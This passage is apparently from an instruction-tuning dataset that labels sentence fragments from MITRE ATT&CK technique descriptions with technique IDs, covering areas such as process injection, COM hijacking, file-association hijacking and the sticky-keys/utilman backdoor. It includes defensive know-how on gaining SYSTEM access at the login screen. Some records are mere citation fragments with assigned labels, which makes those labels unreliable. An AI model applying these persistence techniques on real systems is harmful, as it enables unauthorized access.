MITRE techniques contained in the text.", "input": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.", "output": "T1023", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. ### Response: T1023."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could use shortcuts to execute their tools for persistence.", "output": "T1023", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could use shortcuts to execute their tools for persistence. ### Response: T1023."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program.", "output": "T1023", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. ### Response: T1023."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", "output": "T1023", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program. ### Response: T1023."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by a file type association.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by a file type association. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a file is opened, the default program used to open the file (also called the file association or handler) is checked. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": ": Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation:", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: : Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "System file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: System file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\\\[handler]</code>. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command</code>. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension.", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example: \n\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)", "output": "T1546.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012) ### Response: T1546.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VDSO hijacking involves redirecting calls to dynamically linked shared libraries.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VDSO hijacking involves redirecting calls to dynamically linked shared libraries. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008).", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**This technique has been deprecated and should no longer be used.", "output": "T1026", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **This technique has been deprecated and should no longer be used. ### Response: T1026."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**\n\nSome adversaries may split communications between different protocols.", "output": "T1026", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **\n\nSome adversaries may split communications between different protocols. ### Response: T1026."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.", "output": "T1026", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. ### Response: T1026."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The split could also be random to simply avoid data threshold alerts on any one communication.", "output": "T1026", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The split could also be random to simply avoid data threshold alerts on any one communication. ### Response: T1026."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.", "output": "T1071", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ### Response: T1071."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Protocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Protocols such as SMB, FTP, FTPS, and TFTP that transfer files may be very common in environments. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Packets produced from these protocols may have many fields and headers in which data can be concealed.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Packets produced from these protocols may have many fields and headers in which data can be concealed. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Data could also be concealed within the transferred files.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Data could also be concealed within the transferred files. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "output": "T1071.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ### Response: T1071.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Component Object Model)", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Component Object Model) ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence.", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed.", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When that system component is executed through normal system operation the adversary's code will be executed instead.", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When that system component is executed through normal system operation the adversary's code will be executed instead. ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GDATA COM Hijacking)", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GDATA COM Hijacking) ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "output": "T1122", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ### Response: T1122."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen).", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Two common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Two common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Hikit Rootkit)", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Hikit Rootkit) ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: DEFCON2016 Sticky Keys)", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: DEFCON2016 Sticky Keys) ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access).", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Tilbury 2014)", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Tilbury 2014) ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\").", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges.", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or 